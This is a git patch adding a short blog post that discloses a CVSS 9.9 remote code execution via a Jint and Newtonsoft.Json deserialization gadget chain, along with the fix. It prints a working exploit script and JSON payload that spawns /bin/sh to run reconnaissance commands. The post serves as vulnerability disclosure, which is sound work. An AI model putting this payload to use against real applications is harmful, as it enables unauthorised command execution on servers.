From 642e0f86e309497e5a9a3c3829aab72bc3d0fdb2 Mon Sep 17 00:00:00 2001
From: Sadeep Madurange <sadeep@asciimx.com>
Date: Sat, 18 Jul 2026 21:57:24 +0800
Subject: Jint RCE post.

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+---
+title: CVSS 9.9 Jint gadget chain RCE
+date: 2026-07-18
+layout: post
+---
+
+Asyx6, a bounty hunter, reported a CVSS 9.9 RCE vulnerability in a six-year-old
+program.
+
+The application exposed JSON data from HTTP requests to Jint as
+JObjects—presumed safe because the CLR interop was disabled in the Jint
+configuration.  It wasn't.
+
+Jint uses reflection-based method resolution on CLR types regardless of the
+interop settings. A user-defined script invoking ToObject() on a JObject
+activates Newtonsoft.Json's deserializer. Together, these formed a gadget chain
+from attacker-controlled JSON payload to System.Diagnostics.Process:
+
+```
+data.ToObject(cfg).Start(psi.ToObject(cfg)).StandardOutput.ReadToEnd();
+```
+
+The script triggers the deserialization of the following malicious JSON payload
+via a serializer configured with TypeNameHandling.All. This constructs a
+Process, starts it, and reads its output:
+
+```
+{
+    "data": {"$type": "System.Diagnostics.Process, System.Diagnostics.Process"},
+    "psi": {
+        "$type": "System.Diagnostics.ProcessStartInfo, System.Diagnostics.Process",
+        "FileName": "/bin/sh",
+        "ArgumentList": ["-c", "id; hostname; uname -sm; head -2 /etc/os-release"],
+        "RedirectStandardOutput": true,
+        "UseShellExecute": false
+    },
+    "cfg": {"TypeNameHandling": 3}
+}
+``` 
+
+Fix: Objects that implement IDictionary<string, object> bypass Jint's method
+resolution system. Converted all objects that cross the CLR-JavaScript boundary
+to ExpandoObjects. Blocked reflection types from reaching Jint for good
+measure.
+
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